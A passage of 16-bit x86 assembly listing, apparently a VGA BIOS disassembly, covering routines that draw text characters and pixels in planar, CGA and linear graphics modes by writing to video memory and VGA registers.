movzx bx, byte [bp-012h] ; 0f b6 5e ee
movzx dx, byte [bp-014h] ; 0f b6 56 ec
movzx ax, byte [bp-006h] ; 0f b6 46 fa
call 013fch ; e8 e0 fa
jmp short 01940h ; eb 22
movzx ax, byte [bp-00ah] ; 0f b6 46 f6
push ax ; 50
movzx ax, byte [bp-016h] ; 0f b6 46 ea
push ax ; 50
movzx cx, byte [bp-012h] ; 0f b6 4e ee
mov al, byte [bp-014h] ; 8a 46 ec
sub al, byte [bp-010h] ; 2a 46 f0
movzx bx, al ; 0f b6 d8
movzx dx, byte [bp-014h] ; 0f b6 56 ec
movzx ax, byte [bp-006h] ; 0f b6 46 fa
call 01386h ; e8 46 fa
movzx ax, byte [bp+004h] ; 0f b6 46 04
cmp ax, word [bp-014h] ; 3b 46 ec
jc near 01a88h ; 0f 82 3d 01
dec word [bp-014h] ; ff 4e ec
jmp short 018dfh ; eb 8f
mov dl, byte [di+04632h] ; 8a 95 32 46
cmp byte [bp-010h], 000h ; 80 7e f0 00
jne short 01997h ; 75 3d
cmp byte [bp-008h], 000h ; 80 7e f8 00
jne short 01997h ; 75 37
cmp byte [bp-006h], 000h ; 80 7e fa 00
jne short 01997h ; 75 31
movzx bx, byte [bp+004h] ; 0f b6 5e 04
cmp bx, word [bp-01ah] ; 3b 5e e6
jne short 01997h ; 75 28
movzx bx, byte [bp+006h] ; 0f b6 5e 06
cmp bx, word [bp-018h] ; 3b 5e e8
jne short 01997h ; 75 1f
movzx bx, byte [bp-00ah] ; 0f b6 5e f6
imul ax, bx ; 0f af c3
movzx cx, dl ; 0f b6 ca
imul cx, ax ; 0f af c8
movzx ax, byte [bp-00ch] ; 0f b6 46 f4
mov es, [di+04633h] ; 8e 85 33 46
xor di, di ; 31 ff
cld ; fc
jcxz 01994h ; e3 02
rep stosb ; f3 aa
jmp near 01a88h ; e9 f1 00
cmp dl, 002h ; 80 fa 02
jne short 019a5h ; 75 09
sal byte [bp-006h], 1 ; d0 66 fa
sal byte [bp-012h], 1 ; d0 66 ee
sal word [bp-016h], 1 ; d1 66 ea
cmp byte [bp+00ah], 001h ; 80 7e 0a 01
jne short 01a14h ; 75 69
movzx ax, byte [bp-008h] ; 0f b6 46 f8
mov word [bp-014h], ax ; 89 46 ec
movzx ax, byte [bp+004h] ; 0f b6 46 04
cmp ax, word [bp-014h] ; 3b 46 ec
jc near 01a88h ; 0f 82 cb 00
movzx dx, byte [bp-010h] ; 0f b6 56 f0
add dx, word [bp-014h] ; 03 56 ec
cmp dx, ax ; 39 c2
jnbe short 019ceh ; 77 06
cmp byte [bp-010h], 000h ; 80 7e f0 00
jne short 019edh ; 75 1f
movzx ax, byte [bp-00ch] ; 0f b6 46 f4
push ax ; 50
movzx ax, byte [bp-00ah] ; 0f b6 46 f6
push ax ; 50
movzx cx, byte [bp-016h] ; 0f b6 4e ea
movzx bx, byte [bp-012h] ; 0f b6 5e ee
movzx dx, byte [bp-014h] ; 0f b6 56 ec
movzx ax, byte [bp-006h] ; 0f b6 46 fa
call 01501h ; e8 16 fb
jmp short 01a0fh ; eb 22
movzx ax, byte [bp-00ah] ; 0f b6 46 f6
push ax ; 50
movzx ax, byte [bp-016h] ; 0f b6 46 ea
push ax ; 50
movzx cx, byte [bp-012h] ; 0f b6 4e ee
movzx bx, byte [bp-014h] ; 0f b6 5e ec
mov al, byte [bp-014h] ; 8a 46 ec
add al, byte [bp-010h] ; 02 46 f0
movzx dx, al ; 0f b6 d0
movzx ax, byte [bp-006h] ; 0f b6 46 fa
call 0145dh ; e8 4e fa
inc word [bp-014h] ; ff 46 ec
jmp short 019b2h ; eb 9e
movzx ax, byte [bp+004h] ; 0f b6 46 04
mov word [bp-014h], ax ; 89 46 ec
movzx ax, byte [bp-008h] ; 0f b6 46 f8
cmp ax, word [bp-014h] ; 3b 46 ec
jnbe short 01a88h ; 77 64
movzx ax, byte [bp-008h] ; 0f b6 46 f8
movzx dx, byte [bp-010h] ; 0f b6 56 f0
add ax, dx ; 01 d0
cmp ax, word [bp-014h] ; 3b 46 ec
jnbe short 01a39h ; 77 06
cmp byte [bp-010h], 000h ; 80 7e f0 00
jne short 01a58h ; 75 1f
movzx ax, byte [bp-00ch] ; 0f b6 46 f4
push ax ; 50
movzx ax, byte [bp-00ah] ; 0f b6 46 f6
push ax ; 50
movzx cx, byte [bp-016h] ; 0f b6 4e ea
movzx bx, byte [bp-012h] ; 0f b6 5e ee
movzx dx, byte [bp-014h] ; 0f b6 56 ec
movzx ax, byte [bp-006h] ; 0f b6 46 fa
call 01501h ; e8 ab fa
jmp short 01a7ah ; eb 22
movzx ax, byte [bp-00ah] ; 0f b6 46 f6
push ax ; 50
movzx ax, byte [bp-016h] ; 0f b6 46 ea
push ax ; 50
movzx cx, byte [bp-012h] ; 0f b6 4e ee
mov al, byte [bp-014h] ; 8a 46 ec
sub al, byte [bp-010h] ; 2a 46 f0
movzx bx, al ; 0f b6 d8
movzx dx, byte [bp-014h] ; 0f b6 56 ec
movzx ax, byte [bp-006h] ; 0f b6 46 fa
call 0145dh ; e8 e3 f9
movzx ax, byte [bp+004h] ; 0f b6 46 04
cmp ax, word [bp-014h] ; 3b 46 ec
jc short 01a88h ; 72 05
dec word [bp-014h] ; ff 4e ec
jmp short 01a1bh ; eb 93
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00008h ; c2 08 00
write_gfx_char_pl4_: ; 0xc1a91 LB 0xeb
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 0000ah ; 83 ec 0a
mov byte [bp-006h], dl ; 88 56 fa
mov ah, bl ; 88 dc
cmp byte [bp+006h], 010h ; 80 7e 06 10
je short 01aafh ; 74 0b
cmp byte [bp+006h], 00eh ; 80 7e 06 0e
jne short 01ab4h ; 75 0a
mov di, 05bedh ; bf ed 5b
jmp short 01ab7h ; eb 08
mov di, 069edh ; bf ed 69
jmp short 01ab7h ; eb 03
mov di, 053edh ; bf ed 53
movzx si, cl ; 0f b6 f1
movzx bx, byte [bp+006h] ; 0f b6 5e 06
imul si, bx ; 0f af f3
movzx cx, byte [bp+004h] ; 0f b6 4e 04
imul cx, si ; 0f af ce
movzx si, ah ; 0f b6 f4
add si, cx ; 01 ce
mov word [bp-00eh], si ; 89 76 f2
xor ah, ah ; 30 e4
imul ax, bx ; 0f af c3
mov word [bp-00ah], ax ; 89 46 f6
mov ax, 00f02h ; b8 02 0f
mov dx, 003c4h ; ba c4 03
out DX, ax ; ef
mov ax, 00205h ; b8 05 02
mov dx, 003ceh ; ba ce 03
out DX, ax ; ef
test byte [bp-006h], 080h ; f6 46 fa 80
je short 01af2h ; 74 06
mov ax, 01803h ; b8 03 18
out DX, ax ; ef
jmp short 01af6h ; eb 04
mov ax, strict word 00003h ; b8 03 00
out DX, ax ; ef
xor ch, ch ; 30 ed
cmp ch, byte [bp+006h] ; 3a 6e 06
jnc short 01b64h ; 73 67
movzx si, ch ; 0f b6 f5
movzx ax, byte [bp+004h] ; 0f b6 46 04
imul si, ax ; 0f af f0
add si, word [bp-00eh] ; 03 76 f2
mov byte [bp-008h], 000h ; c6 46 f8 00
jmp short 01b23h ; eb 13
xor bx, bx ; 31 db
mov dx, si ; 89 f2
mov ax, 0a000h ; b8 00 a0
call 02f65h ; e8 4b 14
inc byte [bp-008h] ; fe 46 f8
cmp byte [bp-008h], 008h ; 80 7e f8 08
jnc short 01b60h ; 73 3d
movzx ax, byte [bp-008h] ; 0f b6 46 f8
mov cl, al ; 88 c1
mov ax, 00080h ; b8 80 00
sar ax, CL ; d3 f8
xor ah, ah ; 30 e4
mov word [bp-00ch], ax ; 89 46 f4
sal ax, 008h ; c1 e0 08
or AL, strict byte 008h ; 0c 08
mov dx, 003ceh ; ba ce 03
out DX, ax ; ef
mov dx, si ; 89 f2
mov ax, 0a000h ; b8 00 a0
call 02f57h ; e8 13 14
movzx ax, ch ; 0f b6 c5
add ax, word [bp-00ah] ; 03 46 f6
mov bx, di ; 89 fb
add bx, ax ; 01 c3
movzx ax, byte [bx] ; 0f b6 07
test word [bp-00ch], ax ; 85 46 f4
je short 01b10h ; 74 ba
mov al, byte [bp-006h] ; 8a 46 fa
and AL, strict byte 00fh ; 24 0f
movzx bx, al ; 0f b6 d8
jmp short 01b12h ; eb b2
db 0feh, 0c5h
; inc ch ; fe c5
jmp short 01af8h ; eb 94
mov ax, 0ff08h ; b8 08 ff
mov dx, 003ceh ; ba ce 03
out DX, ax ; ef
mov ax, strict word 00005h ; b8 05 00
out DX, ax ; ef
mov ax, strict word 00003h ; b8 03 00
out DX, ax ; ef
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00004h ; c2 04 00
write_gfx_char_cga_: ; 0xc1b7c LB 0x11e
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00008h ; 83 ec 08
mov byte [bp-008h], dl ; 88 56 f8
mov si, 053edh ; be ed 53
xor bh, bh ; 30 ff
movzx di, byte [bp+006h] ; 0f b6 7e 06
imul di, bx ; 0f af fb
movzx bx, cl ; 0f b6 d9
imul bx, bx, 00140h ; 69 db 40 01
add di, bx ; 01 df
mov word [bp-00ch], di ; 89 7e f4
movzx di, al ; 0f b6 f8
sal di, 003h ; c1 e7 03
mov byte [bp-006h], 000h ; c6 46 fa 00
jmp near 01bfch ; e9 50 00
xor al, al ; 30 c0
xor ah, ah ; 30 e4
jmp short 01bbdh ; eb 0b
or al, bl ; 08 d8
shr ch, 1 ; d0 ed
db 0feh, 0c4h
; inc ah ; fe c4
cmp ah, 008h ; 80 fc 08
jnc short 01be5h ; 73 28
movzx bx, byte [bp-006h] ; 0f b6 5e fa
add bx, di ; 01 fb
add bx, si ; 01 f3
movzx bx, byte [bx] ; 0f b6 1f
movzx dx, ch ; 0f b6 d5
test bx, dx ; 85 d3
je short 01bb4h ; 74 e5
mov CL, strict byte 007h ; b1 07
sub cl, ah ; 28 e1
mov bl, byte [bp-008h] ; 8a 5e f8
and bl, 001h ; 80 e3 01
sal bl, CL ; d2 e3
test byte [bp-008h], 080h ; f6 46 f8 80
je short 01bb2h ; 74 d1
xor al, bl ; 30 d8
jmp short 01bb4h ; eb cf
movzx bx, al ; 0f b6 d8
mov dx, word [bp-00ah] ; 8b 56 f6
mov ax, 0b800h ; b8 00 b8
call 02f65h ; e8 74 13
inc byte [bp-006h] ; fe 46 fa
cmp byte [bp-006h], 008h ; 80 7e fa 08
jnc near 01c91h ; 0f 83 95 00
movzx ax, byte [bp-006h] ; 0f b6 46 fa
sar ax, 1 ; d1 f8
imul ax, ax, strict byte 00050h ; 6b c0 50
mov bx, word [bp-00ch] ; 8b 5e f4
add bx, ax ; 01 c3
mov word [bp-00ah], bx ; 89 5e f6
test byte [bp-006h], 001h ; f6 46 fa 01
je short 01c17h ; 74 04
add byte [bp-009h], 020h ; 80 46 f7 20
mov CH, strict byte 080h ; b5 80
cmp byte [bp+006h], 001h ; 80 7e 06 01
jne short 01c30h ; 75 11
test byte [bp-008h], ch ; 84 6e f8
je short 01bach ; 74 88
mov dx, word [bp-00ah] ; 8b 56 f6
mov ax, 0b800h ; b8 00 b8
call 02f57h ; e8 2a 13
jmp near 01baeh ; e9 7e ff
test ch, ch ; 84 ed
jbe short 01bf1h ; 76 bd
test byte [bp-008h], 080h ; f6 46 f8 80
je short 01c45h ; 74 0b
mov dx, word [bp-00ah] ; 8b 56 f6
mov ax, 0b800h ; b8 00 b8
call 02f57h ; e8 14 13
jmp short 01c47h ; eb 02
xor al, al ; 30 c0
xor ah, ah ; 30 e4
jmp short 01c56h ; eb 0b
or al, bl ; 08 d8
shr ch, 1 ; d0 ed
db 0feh, 0c4h
; inc ah ; fe c4
cmp ah, 004h ; 80 fc 04
jnc short 01c80h ; 73 2a
movzx bx, byte [bp-006h] ; 0f b6 5e fa
add bx, di ; 01 fb
add bx, si ; 01 f3
movzx dx, byte [bx] ; 0f b6 17
movzx bx, ch ; 0f b6 dd
test bx, dx ; 85 d3
je short 01c4dh ; 74 e5
mov CL, strict byte 003h ; b1 03
sub cl, ah ; 28 e1
mov bl, byte [bp-008h] ; 8a 5e f8
and bl, 003h ; 80 e3 03
add cl, cl ; 00 c9
sal bl, CL ; d2 e3
test byte [bp-008h], 080h ; f6 46 f8 80
je short 01c4bh ; 74 cf
xor al, bl ; 30 d8
jmp short 01c4dh ; eb cd
movzx bx, al ; 0f b6 d8
mov dx, word [bp-00ah] ; 8b 56 f6
mov ax, 0b800h ; b8 00 b8
call 02f65h ; e8 d9 12
inc word [bp-00ah] ; ff 46 f6
jmp short 01c30h ; eb 9f
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00004h ; c2 04 00
write_gfx_char_lin_: ; 0xc1c9a LB 0x91
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00008h ; 83 ec 08
mov byte [bp-006h], dl ; 88 56 fa
mov di, 053edh ; bf ed 53
movzx dx, cl ; 0f b6 d1
movzx cx, byte [bp+004h] ; 0f b6 4e 04
imul cx, dx ; 0f af ca
sal cx, 006h ; c1 e1 06
movzx dx, bl ; 0f b6 d3
sal dx, 003h ; c1 e2 03
add dx, cx ; 01 ca
mov word [bp-00ch], dx ; 89 56 f4
movzx si, al ; 0f b6 f0
sal si, 003h ; c1 e6 03
xor cl, cl ; 30 c9
jmp short 01d05h ; eb 3b
cmp ch, 008h ; 80 fd 08
jnc short 01cfeh ; 73 2f
xor al, al ; 30 c0
movzx dx, cl ; 0f b6 d1
add dx, si ; 01 f2
mov bx, di ; 89 fb
add bx, dx ; 01 d3
movzx dx, byte [bx] ; 0f b6 17
movzx bx, byte [bp-008h] ; 0f b6 5e f8
test dx, bx ; 85 da
je short 01ce8h ; 74 03
mov al, byte [bp-006h] ; 8a 46 fa
movzx bx, al ; 0f b6 d8
movzx dx, ch ; 0f b6 d5
add dx, word [bp-00ah] ; 03 56 f6
mov ax, 0a000h ; b8 00 a0
call 02f65h ; e8 6e 12
shr byte [bp-008h], 1 ; d0 6e f8
db 0feh, 0c5h
; inc ch ; fe c5
jmp short 01ccah ; eb cc
db 0feh, 0c1h
; inc cl ; fe c1
cmp cl, 008h ; 80 f9 08
jnc short 01d22h ; 73 1d
movzx bx, cl ; 0f b6 d9
movzx dx, byte [bp+004h] ; 0f b6 56 04
imul dx, bx ; 0f af d3
sal dx, 003h ; c1 e2 03
mov bx, word [bp-00ch] ; 8b 5e f4
add bx, dx ; 01 d3
mov word [bp-00ah], bx ; 89 5e f6
mov byte [bp-008h], 080h ; c6 46 f8 80
xor ch, ch ; 30 ed
jmp short 01ccfh ; eb ad
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn 00002h ; c2 02 00
biosfn_write_char_attr_: ; 0xc1d2b LB 0x168
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00018h ; 83 ec 18
mov byte [bp-00eh], al ; 88 46 f2
mov byte [bp-010h], dl ; 88 56 f0
mov byte [bp-012h], bl ; 88 5e ee
mov si, cx ; 89 ce
mov dx, strict word 00049h ; ba 49 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 10 12
xor ah, ah ; 30 e4
call 02f30h ; e8 e4 11
mov cl, al ; 88 c1
mov byte [bp-006h], al ; 88 46 fa
cmp AL, strict byte 0ffh ; 3c ff
je near 01e8ch ; 0f 84 35 01
movzx ax, byte [bp-010h] ; 0f b6 46 f0
lea bx, [bp-01ch] ; 8d 5e e4
lea dx, [bp-01ah] ; 8d 56 e6
call 00a88h ; e8 24 ed
mov al, byte [bp-01ch] ; 8a 46 e4
mov byte [bp-00ch], al ; 88 46 f4
mov ax, word [bp-01ch] ; 8b 46 e4
xor al, al ; 30 c0
shr ax, 008h ; c1 e8 08
mov byte [bp-00ah], al ; 88 46 f6
mov dx, 00084h ; ba 84 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 d9 11
xor ah, ah ; 30 e4
inc ax ; 40
mov word [bp-018h], ax ; 89 46 e8
mov dx, strict word 0004ah ; ba 4a 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 e6 11
mov word [bp-016h], ax ; 89 46 ea
movzx bx, cl ; 0f b6 d9
mov di, bx ; 89 df
sal di, 003h ; c1 e7 03
cmp byte [di+04630h], 000h ; 80 bd 30 46 00
jne short 01de6h ; 75 47
mov bx, word [bp-018h] ; 8b 5e e8
imul bx, ax ; 0f af d8
add bx, bx ; 01 db
or bl, 0ffh ; 80 cb ff
movzx dx, byte [bp-010h] ; 0f b6 56 f0
inc bx ; 43
imul dx, bx ; 0f af d3
movzx bx, byte [bp-00ah] ; 0f b6 5e f6
imul ax, bx ; 0f af c3
movzx bx, byte [bp-00ch] ; 0f b6 5e f4
add ax, bx ; 01 d8
add ax, ax ; 01 c0
add dx, ax ; 01 c2
movzx ax, byte [bp-012h] ; 0f b6 46 ee
sal ax, 008h ; c1 e0 08
movzx bx, byte [bp-00eh] ; 0f b6 5e f2
add ax, bx ; 01 d8
mov word [bp-01ah], ax ; 89 46 e6
mov ax, word [bp-01ah] ; 8b 46 e6
mov es, [di+04633h] ; 8e 85 33 46
mov cx, si ; 89 f1
mov di, dx ; 89 d7
cld ; fc
jcxz 01de3h ; e3 02
rep stosw ; f3 ab
jmp near 01e8ch ; e9 a6 00
movzx bx, byte [bx+046afh] ; 0f b6 9f af 46
sal bx, 006h ; c1 e3 06
mov al, byte [bx+046c5h] ; 8a 87 c5 46
mov byte [bp-008h], al ; 88 46 f8
mov al, byte [di+04632h] ; 8a 85 32 46
mov byte [bp-014h], al ; 88 46 ec
dec si ; 4e
cmp si, strict byte 0ffffh ; 83 fe ff
je near 01e8ch ; 0f 84 88 00
movzx ax, byte [bp-00ch] ; 0f b6 46 f4
cmp ax, word [bp-016h] ; 3b 46 ea
jnc near 01e8ch ; 0f 83 7d 00
movzx bx, byte [bp-006h] ; 0f b6 5e fa
sal bx, 003h ; c1 e3 03
mov al, byte [bx+04631h] ; 8a 87 31 46
cmp AL, strict byte 003h ; 3c 03
jc short 01e2ah ; 72 0c
jbe short 01e30h ; 76 10
cmp AL, strict byte 005h ; 3c 05
je short 01e6eh ; 74 4a
cmp AL, strict byte 004h ; 3c 04
je short 01e30h ; 74 08
jmp short 01e86h ; eb 5c
cmp AL, strict byte 002h ; 3c 02
je short 01e4fh ; 74 21
jmp short 01e86h ; eb 56
movzx ax, byte [bp-008h] ; 0f b6 46 f8
push ax ; 50
movzx ax, byte [bp-016h] ; 0f b6 46 ea
push ax ; 50
movzx cx, byte [bp-00ah] ; 0f b6 4e f6
movzx bx, byte [bp-00ch] ; 0f b6 5e f4
movzx dx, byte [bp-012h] ; 0f b6 56 ee
movzx ax, byte [bp-00eh] ; 0f b6 46 f2
call 01a91h ; e8 44 fc
jmp short 01e86h ; eb 37
movzx ax, byte [bp-014h] ; 0f b6 46 ec
push ax ; 50
movzx ax, byte [bp-016h] ; 0f b6 46 ea
push ax ; 50
movzx cx, byte [bp-00ah] ; 0f b6 4e f6
movzx bx, byte [bp-00ch] ; 0f b6 5e f4
movzx dx, byte [bp-012h] ; 0f b6 56 ee
movzx ax, byte [bp-00eh] ; 0f b6 46 f2
call 01b7ch ; e8 10 fd
jmp short 01e86h ; eb 18
movzx ax, byte [bp-016h] ; 0f b6 46 ea
push ax ; 50
movzx cx, byte [bp-00ah] ; 0f b6 4e f6
movzx bx, byte [bp-00ch] ; 0f b6 5e f4
movzx dx, byte [bp-012h] ; 0f b6 56 ee
movzx ax, byte [bp-00eh] ; 0f b6 46 f2
call 01c9ah ; e8 14 fe
inc byte [bp-00ch] ; fe 46 f4
jmp near 01dfch ; e9 70 ff
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
biosfn_write_char_only_: ; 0xc1e93 LB 0x16f
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
push di ; 57
sub sp, strict byte 00018h ; 83 ec 18
mov byte [bp-012h], al ; 88 46 ee
mov byte [bp-006h], dl ; 88 56 fa
mov byte [bp-014h], bl ; 88 5e ec
mov si, cx ; 89 ce
mov dx, strict word 00049h ; ba 49 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 a8 10
xor ah, ah ; 30 e4
call 02f30h ; e8 7c 10
mov cl, al ; 88 c1
mov byte [bp-00eh], al ; 88 46 f2
cmp AL, strict byte 0ffh ; 3c ff
je near 01ffbh ; 0f 84 3c 01
movzx ax, byte [bp-006h] ; 0f b6 46 fa
lea bx, [bp-01ch] ; 8d 5e e4
lea dx, [bp-01ah] ; 8d 56 e6
call 00a88h ; e8 bc eb
mov al, byte [bp-01ch] ; 8a 46 e4
mov byte [bp-00ch], al ; 88 46 f4
mov ax, word [bp-01ch] ; 8b 46 e4
xor al, al ; 30 c0
shr ax, 008h ; c1 e8 08
mov byte [bp-010h], al ; 88 46 f0
mov dx, 00084h ; ba 84 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 71 10
xor ah, ah ; 30 e4
inc ax ; 40
mov word [bp-018h], ax ; 89 46 e8
mov dx, strict word 0004ah ; ba 4a 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 7e 10
mov word [bp-016h], ax ; 89 46 ea
movzx di, cl ; 0f b6 f9
mov bx, di ; 89 fb
sal bx, 003h ; c1 e3 03
cmp byte [bx+04630h], 000h ; 80 bf 30 46 00
jne short 01f51h ; 75 4a
mov dx, word [bp-018h] ; 8b 56 e8
imul dx, ax ; 0f af d0
add dx, dx ; 01 d2
or dl, 0ffh ; 80 ca ff
movzx bx, byte [bp-006h] ; 0f b6 5e fa
inc dx ; 42
imul bx, dx ; 0f af da
movzx dx, byte [bp-010h] ; 0f b6 56 f0
mov cx, ax ; 89 c1
imul cx, dx ; 0f af ca
movzx dx, byte [bp-00ch] ; 0f b6 56 f4
add cx, dx ; 01 d1
add cx, cx ; 01 c9
add cx, bx ; 01 d9
dec si ; 4e
cmp si, strict byte 0ffffh ; 83 fe ff
je near 01ffbh ; 0f 84 c6 00
movzx ax, byte [bp-012h] ; 0f b6 46 ee
movzx bx, byte [bp-00eh] ; 0f b6 5e f2
sal bx, 003h ; c1 e3 03
mov di, word [bx+04633h] ; 8b bf 33 46
mov bx, ax ; 89 c3
mov dx, cx ; 89 ca
mov ax, di ; 89 f8
call 02f65h ; e8 18 10
inc cx ; 41
inc cx ; 41
jmp short 01f2dh ; eb dc
movzx di, byte [di+046afh] ; 0f b6 bd af 46
sal di, 006h ; c1 e7 06
mov al, byte [di+046c5h] ; 8a 85 c5 46
mov byte [bp-00ah], al ; 88 46 f6
mov al, byte [bx+04632h] ; 8a 87 32 46
mov byte [bp-008h], al ; 88 46 f8
dec si ; 4e
cmp si, strict byte 0ffffh ; 83 fe ff
je near 01ffbh ; 0f 84 8c 00
movzx ax, byte [bp-00ch] ; 0f b6 46 f4
cmp ax, word [bp-016h] ; 3b 46 ea
jnc near 01ffbh ; 0f 83 81 00
movzx bx, byte [bp-00eh] ; 0f b6 5e f2
sal bx, 003h ; c1 e3 03
mov bl, byte [bx+04631h] ; 8a 9f 31 46
cmp bl, 003h ; 80 fb 03
jc short 01f98h ; 72 0e
jbe short 01f9fh ; 76 13
cmp bl, 005h ; 80 fb 05
je short 01fddh ; 74 4c
cmp bl, 004h ; 80 fb 04
je short 01f9fh ; 74 09
jmp short 01ff5h ; eb 5d
cmp bl, 002h ; 80 fb 02
je short 01fbeh ; 74 21
jmp short 01ff5h ; eb 56
movzx ax, byte [bp-00ah] ; 0f b6 46 f6
push ax ; 50
movzx ax, byte [bp-016h] ; 0f b6 46 ea
push ax ; 50
movzx cx, byte [bp-010h] ; 0f b6 4e f0
movzx bx, byte [bp-00ch] ; 0f b6 5e f4
movzx dx, byte [bp-014h] ; 0f b6 56 ec
movzx ax, byte [bp-012h] ; 0f b6 46 ee
call 01a91h ; e8 d5 fa
jmp short 01ff5h ; eb 37
movzx ax, byte [bp-008h] ; 0f b6 46 f8
push ax ; 50
movzx ax, byte [bp-016h] ; 0f b6 46 ea
push ax ; 50
movzx cx, byte [bp-010h] ; 0f b6 4e f0
movzx bx, byte [bp-00ch] ; 0f b6 5e f4
movzx dx, byte [bp-014h] ; 0f b6 56 ec
movzx ax, byte [bp-012h] ; 0f b6 46 ee
call 01b7ch ; e8 a1 fb
jmp short 01ff5h ; eb 18
movzx ax, byte [bp-016h] ; 0f b6 46 ea
push ax ; 50
movzx cx, byte [bp-010h] ; 0f b6 4e f0
movzx bx, byte [bp-00ch] ; 0f b6 5e f4
movzx dx, byte [bp-014h] ; 0f b6 56 ec
movzx ax, byte [bp-012h] ; 0f b6 46 ee
call 01c9ah ; e8 a5 fc
inc byte [bp-00ch] ; fe 46 f4
jmp near 01f67h ; e9 6c ff
lea sp, [bp-004h] ; 8d 66 fc
pop di ; 5f
pop si ; 5e
pop bp ; 5d
retn ; c3
biosfn_write_pixel_: ; 0xc2002 LB 0x16a
push bp ; 55
mov bp, sp ; 89 e5
push si ; 56
sub sp, strict byte 00008h ; 83 ec 08
mov byte [bp-006h], dl ; 88 56 fa
mov word [bp-00ah], bx ; 89 5e f6
mov dx, strict word 00049h ; ba 49 00
mov ax, strict word 00040h ; b8 40 00
call 02f57h ; e8 3f 0f
xor ah, ah ; 30 e4
call 02f30h ; e8 13 0f
mov byte [bp-004h], al ; 88 46 fc
cmp AL, strict byte 0ffh ; 3c ff
je near 02144h ; 0f 84 1e 01
movzx bx, al ; 0f b6 d8
sal bx, 003h ; c1 e3 03
cmp byte [bx+04630h], 000h ; 80 bf 30 46 00
je near 02144h ; 0f 84 0f 01
mov al, byte [bx+04631h] ; 8a 87 31 46
cmp AL, strict byte 003h ; 3c 03
jc short 0204ch ; 72 0f
jbe short 02053h ; 76 14
cmp AL, strict byte 005h ; 3c 05
je near 0214ah ; 0f 84 05 01
cmp AL, strict byte 004h ; 3c 04
je short 02053h ; 74 0a
jmp near 02144h ; e9 f8 00
cmp AL, strict byte 002h ; 3c 02
je short 020b8h ; 74 68
jmp near 02144h ; e9 f1 00
mov dx, strict word 0004ah ; ba 4a 00
mov ax, strict word 00040h ; b8 40 00
call 02f73h ; e8 17 0f
imul ax, cx ; 0f af c1
mov bx, word [bp-00ah] ; 8b 5e f6
shr bx, 003h ; c1 eb 03
add bx, ax ; 01 c3
mov word [bp-008h], bx ; 89 5e f8
mov cx, word [bp-00ah] ; 8b 4e f6
and cl, 007h ; 80 e1 07
mov ax, 00080h ; b8 80 00
sar ax, CL ; d3 f8
xor ah, ah ; 30 e4
sal ax, 008h ; c1 e0 08
or AL, strict byte 008h ; 0c 08
mov dx, 003ceh ; ba ce 03
out DX, ax ; ef
mov ax, 00205h ; b8 05 02
out DX, ax ; ef
mov dx, bx ; 89 da
mov ax, 0a000h ; b8 00 a0
call 02f57h ; e8 cb 0e
test byte [bp-006h], 080h ; f6 46 fa 80
je short 02099h ; 74 07
mov ax, 01803h ; b8 03 18
mov dx, 003ceh ; ba ce 03
out DX, ax ; ef
movzx bx, byte [bp-006h] ; 0f b6 5e fa
mov dx, word [bp-008h] ; 8b 56 f8
mov ax, 0a000h ; b8 00 a0
call 02f65h ; e8 bf 0e
mov ax, 0ff08h ; b8 08 ff
mov dx, 003ceh ; ba ce 03
out DX, ax ; ef
mov ax, strict word 00005h ; b8 05 00
out DX, ax ; ef
mov ax, strict word 00003h ; b8 03 00
out DX, ax ; ef
jmp near 02144h ; e9 8c 00
mov ax, cx ; 89 c8
shr ax, 1 ; d1 e8
imul ax, ax, strict byte 00050h ; 6b c0 50
cmp byte [bx+04632h], 002h ; 80 bf 32 46 02
jne short 020ceh ; 75 08
mov bx, word [bp-00ah] ; 8b 5e f6
shr bx, 002h ; c1 eb 02
jmp short 020d4h ; eb 06
mov bx, word [bp-00ah] ; 8b 5e f6
shr bx, 003h ; c1 eb 03
add bx, ax ; 01 c3
mov word [bp-008h], bx ; 89 5e f8
test cl, 001h ; f6 c1 01
je short 020e2h ; 74 04
add byte [bp-007h], 020h ; 80 46 f9 20
mov dx, word [bp-008h] ; 8b 56 f8
mov ax, 0b800h ; b8 00 b8
call 02f57h ; e8 6c 0e
mov bl, al ; 88 c3
movzx si, byte [bp-004h] ; 0f b6 76 fc
sal si, 003h ; c1 e6 03
cmp byte [si+04632h], 002h ; 80 bc 32 46 02
jne short 02114h ; 75 19
mov al, byte [bp-00ah] ; 8a 46 f6
and AL, strict byte 003h ; 24 03
mov AH, strict byte 003h ; b4 03
sub ah, al ; 28 c4
mov cl, ah ; 88 e1
add cl, ah ; 00 e1
mov bh, byte [bp-006h] ; 8a 7e fa
and bh, 003h ; 80 e7 03
sal bh, CL ; d2 e7
mov AL, strict byte 003h ; b0 03
jmp short 02127h ; eb 13
mov al, byte [bp-00ah] ; 8a 46 f6
and AL, strict byte 007h ; 24 07
mov CL, strict byte 007h ; b1 07
sub cl, al ; 28 c1
mov bh, byte [bp-006h] ; 8a 7e fa
and bh, 001h ; 80 e7 01
sal bh, CL ; d2 e7
mov AL, strict byte 001h ; b0 01
sal al, CL ; d2 e0
test byte [bp-006h], 080h ; f6 46 fa 80
je short 02133h ; 74 04
xor bl, bh ; 30 fb
jmp short 02139h ; eb 06
not al ; f6 d0
and bl, al ; 20 c3
or bl, bh ; 08 fb
xor bh, bh ; 30 ff
mov dx, word [bp-008h] ; 8b 56 f8
mov ax, 0b800h ; b8 00 b8
call 02f65h ; e8 21 0e
